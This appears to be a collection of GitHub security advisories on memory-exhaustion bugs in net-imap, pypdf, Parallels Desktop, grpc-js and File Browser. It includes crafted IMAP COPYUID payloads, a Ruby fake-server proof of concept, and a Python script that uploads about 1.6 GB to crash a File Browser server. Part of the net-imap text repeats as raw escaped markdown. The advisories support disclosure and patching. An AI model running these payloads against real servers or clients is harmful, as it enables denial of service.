Summary
Possible DoS by memory exhaustion in net-imap
Details

Summary

There is a possibility for denial of service by memory exhaustion in net-imap's response parser. At any time while the client is connected, a malicious server can send can send highly compressed uid-set data which is automatically read by the client's receiver thread. The response parser uses Range#to_a to convert the uid-set data into arrays of integers, with no limitation on the expanded size of the ranges.

Details

IMAP's uid-set and sequence-set formats can compress ranges of numbers, for example: "1,2,3,4,5" and "1:5" both represent the same set. When Net::IMAP::ResponseParser receives APPENDUID or COPYUID response codes, it expands each uid-set into an array of integers. On a 64 bit system, these arrays will expand to 8 bytes for each number in the set. A malicious IMAP server may send specially crafted APPENDUID or COPYUID responses with very large uid-set ranges.

The Net::IMAP client parses each server response in a separate thread, as soon as each responses is received from the server. This attack works even when the client does not handle the APPENDUID or COPYUID responses.

Malicious inputs:

# 40 bytes expands to ~1.6GB:
"* OK [COPYUID 1 1:99999999 1:99999999]\r\n"

# Worst *valid* input scenario (using uint32 max),
# 44 bytes expands to 64GiB:
"* OK [COPYUID 1 1:4294967295 1:4294967295]\r\n"

# Numbers must be non-zero uint32, but this isn't validated.  Arrays larger than
# UINT32_MAX can be created.  For example, the following would theoretically
# expand to almost 800 exabytes:
"* OK [COPYUID 1 1:99999999999999999999 1:99999999999999999999]\r\n"

Simple way to test this:

require "net/imap"

def test(size)
  input = "A004 OK [COPYUID 1 1:#{size} 1:#{size}] too large?\r\n"
  parser = Net::IMAP::ResponseParser.new
  parser.parse input
end

test(99_999_999)

Fixes

Preferred Fix, minor API changes

Upgrade to v0.4.19, v0.5.6, or higher, and configure:

# globally
Net::IMAP.config.parser_use_deprecated_uidplus_data = false
# per-client
imap = Net::IMAP.new(hostname, ssl: true,
                               parser_use_deprecated_uidplus_data: false)
imap.config.parser_use_deprecated_uidplus_data = false

This replaces UIDPlusData with AppendUIDData and CopyUIDData. These classes store their UIDs as Net::IMAP::SequenceSet objects (not expanded into arrays of integers). Code that does not handle APPENDUID or COPYUID responses will not notice any difference. Code that does handle these responses may need to be updated. See the documentation for UIDPlusData, AppendUIDData and CopyUIDData.

For v0.3.8, this option is not available. For v0.4.19, the default value is true. For v0.5.6, the default value is :up_to_max_size. For v0.6.0, the only allowed value will be false (UIDPlusData will be removed from v0.6).

Mitigation, backward compatible API

Upgrade to v0.3.8, v0.4.19, v0.5.6, or higher.

For backward compatibility, uid-set can still be expanded into an array, but a maximum limit will be applied.

Assign config.parser_max_deprecated_uidplus_data_size to set the maximum UIDPlusData UID set size. When config.parser_use_deprecated_uidplus_data == true, larger sets will raise Net::IMAP::ResponseParseError. When config.parser_use_deprecated_uidplus_data == :up_to_max_size, larger sets will use AppendUIDData or CopyUIDData.

For v0.3,8, this limit is hard-coded to 10,000, and larger sets will always raise Net::IMAP::ResponseParseError. For v0.4.19, the limit defaults to 1000. For v0.5.6, the limit defaults to 100. For v0.6.0, the limit will be ignored (UIDPlusData will be removed from v0.6).

Please Note: unhandled responses

If the client does not add response handlers to prune unhandled responses, a malicious server can still eventually exhaust all client memory, by repeatedly sending malicious responses. However, net-imap has always retained unhandled responses, and it has always been necessary for long-lived connections to prune these responses. This is not significantly different from connecting to a trusted server with a long-lived connection. To limit the maximum number of retained responses, a simple handler might look something like the following:

ruby limit = 1000 imap.add_response_handler do |resp| next unless resp.respond_to?(:name) && resp.respond_to?(:data) name = resp.name code = resp.data.code&.name if resp.data.respond_to?(:code) if Net::IMAP::VERSION > "0.4.0" imap.responses(name) { _1.slice!(0...-limit) } imap.responses(code) { _1.slice!(0...-limit) } else imap.responses(name).slice!(0...-limit) imap.responses(code).slice!(0...-limit) end end

Proof of concept

Save the following to a ruby file (e.g: poc.rb) and make it executable:

#!/usr/bin/env ruby
require 'socket'
require 'net/imap'

if !defined?(Net::IMAP.config)
  puts "Net::IMAP.config is not available"
elsif !Net::IMAP.config.respond_to?(:parser_use_deprecated_uidplus_data)
  puts "Net::IMAP.config.parser_use_deprecated_uidplus_data is not available"
else
  Net::IMAP.config.parser_use_deprecated_uidplus_data = :up_to_max_size
  puts "Updated parser_use_deprecated_uidplus_data to :up_to_max_size"
end

size = Integer(ENV["UID_SET_SIZE"] || 2**32-1)

def server_addr
  Addrinfo.tcp("localhost", 0).ip_address
end

def create_tcp_server
  TCPServer.new(server_addr, 0)
end

def start_server
  th = Thread.new do
    yield
  end
  sleep 0.1 until th.stop?
end

def copyuid_response(tag: "*", size: 2**32-1, text: "too large?")
  "#{tag} OK [COPYUID 1 1:#{size} 1:#{size}] #{text}\r\n"
end

def appenduid_response(tag: "*", size: 2**32-1, text: "too large?")
  "#{tag} OK [APPENDUID 1 1:#{size}] #{text}\r\n"
end

server = create_tcp_server
port = server.addr[1]
puts "Server started on port #{port}"

# server
start_server do
  sock = server.accept
  begin
    sock.print "* OK test server\r\n"
    cmd = sock.gets("\r\n", chomp: true)
    tag = cmd.match(/\A(\w+) /)[1]
    puts "Received: #{cmd}"

    malicious_response = appenduid_response(size:)
    puts "Sending: #{malicious_response.chomp}"
    sock.print malicious_response

    malicious_response = copyuid_response(size:)
    puts "Sending: #{malicious_response.chomp}"
    sock.print malicious_response
    sock.print "* CAPABILITY JUMBO=UIDPLUS PROOF_OF_CONCEPT\r\n"
    sock.print "#{tag} OK CAPABILITY completed\r\n"

    cmd = sock.gets("\r\n", chomp: true)
    tag = cmd.match(/\A(\w+) /)[1]
    puts "Received: #{cmd}"
    sock.print "* BYE If you made it this far, you passed the test!\r\n"
    sock.print "#{tag} OK LOGOUT completed\r\n"
  rescue Exception => ex
    puts "Error in server: #{ex.message} (#{ex.class})"
  ensure
    sock.close
    server.close
  end
end

# client
begin
  puts "Client connecting,.."
  imap = Net::IMAP.new(server_addr, port: port)
  puts "Received capabilities: #{imap.capability}"
  pp responses: imap.responses
  imap.logout
rescue Exception => ex
  puts "Error in client: #{ex.message} (#{ex.class})"
  puts ex.full_message
ensure
  imap.disconnect if imap
end

Use ulimit to limit the process's virtual memory. The following example limits virtual memory to 1GB:

$ ( ulimit -v 1000000 && exec ./poc.rb )

However, `net-imap` has always retained unhandled responses, and it has always been necessary for long-lived connections to prune these responses.  _This is not significantly different from connecting to a trusted server with a long-lived connection._  To limit the maximum number of retained responses, a simple handler might look something like the following:\n\n  ```ruby\n  limit = 1000\n  imap.add_response_handler do |resp|\n    next unless resp.respond_to?(:name) \u0026\u0026 resp.respond_to?(:data)\n    name = resp.name\n    code = resp.data.code\u0026.name if resp.data.respond_to?(:code)\n    if Net::IMAP::VERSION \u003e \"0.4.0\"\n      imap.responses(name) { _1.slice!(0...-limit) }\n      imap.responses(code) { _1.slice!(0...-limit) }\n    else\n      imap.responses(name).slice!(0...-limit)\n      imap.responses(code).slice!(0...-limit)\n    end\n  end\n  ```\n\n### Proof of concept\n\nSave the following to a ruby file (e.g: `poc.rb`) and make it executable:\n```ruby\n#!/usr/bin/env ruby\nrequire \u0027socket\u0027\nrequire \u0027net/imap\u0027\n\nif !defined?(Net::IMAP.config)\n  puts \"Net::IMAP.config is not available\"\nelsif !Net::IMAP.config.respond_to?(:parser_use_deprecated_uidplus_data)\n  puts \"Net::IMAP.config.parser_use_deprecated_uidplus_data is not available\"\nelse\n  Net::IMAP.config.parser_use_deprecated_uidplus_data = :up_to_max_size\n  puts \"Updated parser_use_deprecated_uidplus_data to :up_to_max_size\"\nend\n\nsize = Integer(ENV[\"UID_SET_SIZE\"] || 2**32-1)\n\ndef server_addr\n  Addrinfo.tcp(\"localhost\", 0).ip_address\nend\n\ndef create_tcp_server\n  TCPServer.new(server_addr, 0)\nend\n\ndef start_server\n  th = Thread.new do\n    yield\n  end\n  sleep 0.1 until th.stop?\nend\n\ndef copyuid_response(tag: \"*\", size: 2**32-1, text: \"too large?\")\n  \"#{tag} OK [COPYUID 1 1:#{size} 1:#{size}] #{text}\\r\\n\"\nend\n\ndef appenduid_response(tag: \"*\", size: 2**32-1, text: \"too large?\")\n  \"#{tag} OK [APPENDUID 1 1:#{size}] #{text}\\r\\n\"\nend\n\nserver = create_tcp_server\nport = server.addr[1]\nputs \"Server started on port #{port}\"\n\n# server\nstart_server do\n  sock = server.accept\n  begin\n    sock.print \"* OK test server\\r\\n\"\n    cmd = sock.gets(\"\\r\\n\", chomp: true)\n    tag = cmd.match(/\\A(\\w+) /)[1]\n    puts \"Received: #{cmd}\"\n\n    malicious_response = appenduid_response(size:)\n    puts \"Sending: #{malicious_response.chomp}\"\n    sock.print malicious_response\n\n    malicious_response = copyuid_response(size:)\n    puts \"Sending: #{malicious_response.chomp}\"\n    sock.print malicious_response\n    sock.print \"* CAPABILITY JUMBO=UIDPLUS PROOF_OF_CONCEPT\\r\\n\"\n    sock.print \"#{tag} OK CAPABILITY completed\\r\\n\"\n\n    cmd = sock.gets(\"\\r\\n\", chomp: true)\n    tag = cmd.match(/\\A(\\w+) /)[1]\n    puts \"Received: #{cmd}\"\n    sock.print \"* BYE If you made it this far, you passed the test!\\r\\n\"\n    sock.print \"#{tag} OK LOGOUT completed\\r\\n\"\n  rescue Exception =\u003e ex\n    puts \"Error in server: #{ex.message} (#{ex.class})\"\n  ensure\n    sock.close\n    server.close\n  end\nend\n\n# client\nbegin\n  puts \"Client connecting,..\"\n  imap = Net::IMAP.new(server_addr, port: port)\n  puts \"Received capabilities: #{imap.capability}\"\n  pp responses: imap.responses\n  imap.logout\nrescue Exception =\u003e ex\n  puts \"Error in client: #{ex.message} (#{ex.class})\"\n  puts ex.full_message\nensure\n  imap.disconnect if imap\nend\n```\n\nUse `ulimit` to limit the process\u0027s virtual memory.

Summary
pypdf: Manipulated FlateDecode predictor parameters can exhaust RAM
Details

Impact

An attacker who uses this vulnerability can craft a PDF which leads to the RAM being exhausted. This requires accessing a stream compressed using /FlateDecode with a /Predictor unequal 1 and large predictor parameters.

Patches

This has been fixed in pypdf==6.10.2.

Workarounds

If you cannot upgrade yet, consider applying the changes from PR #3734.

Vulnerability from github – Published: 2022-05-24 19:18 – Updated: 2022-05-24 19:18
VLAI
Details

This vulnerability allows local attackers to escalate privileges on affected installations of Parallels Desktop 16.1.3 (49160). An attacker must first obtain the ability to execute low-privileged code on the target guest system in order to exploit this vulnerability. The specific flaw exists within the Toolgate component. The issue results from the lack of proper validation of user-supplied data, which can result in an uncontrolled memory allocation. An attacker can leverage this vulnerability to escalate privileges and execute arbitrary code in the context of the hypervisor. Was ZDI-CAN-13544.

Vulnerability from github – Published: 2024-06-10 21:38 – Updated: 2024-06-11 18:28
VLAI
Summary
@grpc/grpc-js can allocate memory for incoming messages well above configured limits
Details

Impact

There are two separate code paths in which memory can be allocated per message in excess of the grpc.max_receive_message_length channel option:

  1. If an incoming message has a size on the wire greater than the configured limit, the entire message is buffered before it is discarded.
  2. If an incoming message has a size within the limit on the wire but decompresses to a size greater than the limit, the entire message is decompressed into memory, and on the server is not discarded.

Patches

This has been patched in versions 1.10.9, 1.9.15, and 1.8.22

Vulnerability from github – Published: 2025-07-16 14:22 – Updated: 2025-07-29 23:27
VLAI
Summary
File Browser's Uncontrolled Memory Consumption vulnerability can enable DoS attack due to oversized file processing
Details

Summary

A Denial of Service (DoS) vulnerability exists in the file processing logic when reading a file on endpoint Filebrowser-Server-IP:PORT/files/{file-name} . While the server correctly handles and stores uploaded files, it attempts to load the entire content into memory during read operations without size checks or resource limits. This allows an authenticated user to upload a large file and trigger uncontrolled memory consumption on read, potentially crashing the server and making it unresponsive.

Details

The endpoint /api/resources/{file-name} accepts PUT requests with plain text file content. Uploading an extremely large file (e.g., ~1.5 GB) succeeds without issue. However, when the server attempts to open and read this file, it performs the read operation in an unbounded or inefficient way, leading to excessive memory usage.

This approach attempts to read the entire file into memory at once. For large files, this causes memory exhaustion resulting in a crash or serious performance degradation. In the filebrowser codebase, this can be due to: - Lack of memory-safe streaming or chunked reading during file processing. - Absence of validation or size limits during the read phase. - Possibly synchronous or blocking file parsing without protection.

PoC

  1. I run the project via docker (latest version, 2.38.0) using the following command found in the documentation:
docker run \
    -v filebrowser_data:/srv \
    -v filebrowser_database:/database \
    -v filebrowser_config:/config \
    -p 8080:80 \
    filebrowser/filebrowser```
  1. First login in your filebrowser and create a simple empty file eg. name it another
  2. We will add a large data into this file via PUT method on the api by running the following Python script (as an exploit PoC script)
import requests

url = "http://filebrowser-server-IP:8080/api/resources/another"
auth_token = "eyJh-auth-token-goes-here"
headers = {
    "User-Agent": "Mozilla/5.0 (X11; Ubuntu; Linux x86_64; rv:139.0) Gecko/20100101 Firefox/139.0",
    "Accept": "*/*",
    "Accept-Language": "en-US,en;q=0.5",
    "Accept-Encoding": "gzip, deflate, br",
    "Referer": "http://filebrowser-server-IP:8080/files/another",
    "X-Auth": auth_token,
    "Content-Type": "text/plain;charset=UTF-8",
    "Origin": "http://filebrowser-server-IP:8080",
    "Connection": "close",
    "Priority": "u=0"
}

# Generate a very large string into a file (e.g 1.6 GB)

base = "testing data goes here\n"
repeat_count = 120_000_000  

data = base * repeat_count

print("Sending large payload...")
response = requests.put(url, headers=headers, data=data)

# Output the response
print(f"Status Code: {response.status_code}")
print("Response Body:")
print(response.text)
  1. After running this script, go back in your filebrowser dashboard and try to open the file another - try to read the content in this file. The file will open on another tab and it will hang there consuming memory and resources. The entire server will remain unresponsive until the entire file loads (takes long time)

Mitigation
Implementation Architecture and Design

Perform adequate input validation against any value that influences the amount of memory that is allocated. Define an appropriate strategy for handling requests that exceed the limit, and consider supporting a configuration option so that the administrator can extend the amount of memory to be used if necessary.

Mitigation
Operation

Run your program using system-provided resource limits for memory. This might still cause the program to crash or exit, but the impact to the rest of the system will be minimized.
